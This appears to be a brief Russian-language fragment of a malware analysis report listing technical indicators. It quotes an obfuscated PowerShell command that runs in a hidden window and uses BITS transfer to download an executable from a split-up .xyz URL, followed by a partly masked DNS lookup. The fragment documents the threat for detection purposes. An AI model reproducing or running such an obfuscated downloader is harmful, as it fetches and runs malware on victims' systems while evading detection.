Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://1000'+'018.x'+'yz'+'/so'+'ft-2'+'/28'+'04'+'21-z1z.e'+'xe')" -Destination ...
- DNS ASK 10##018.xyz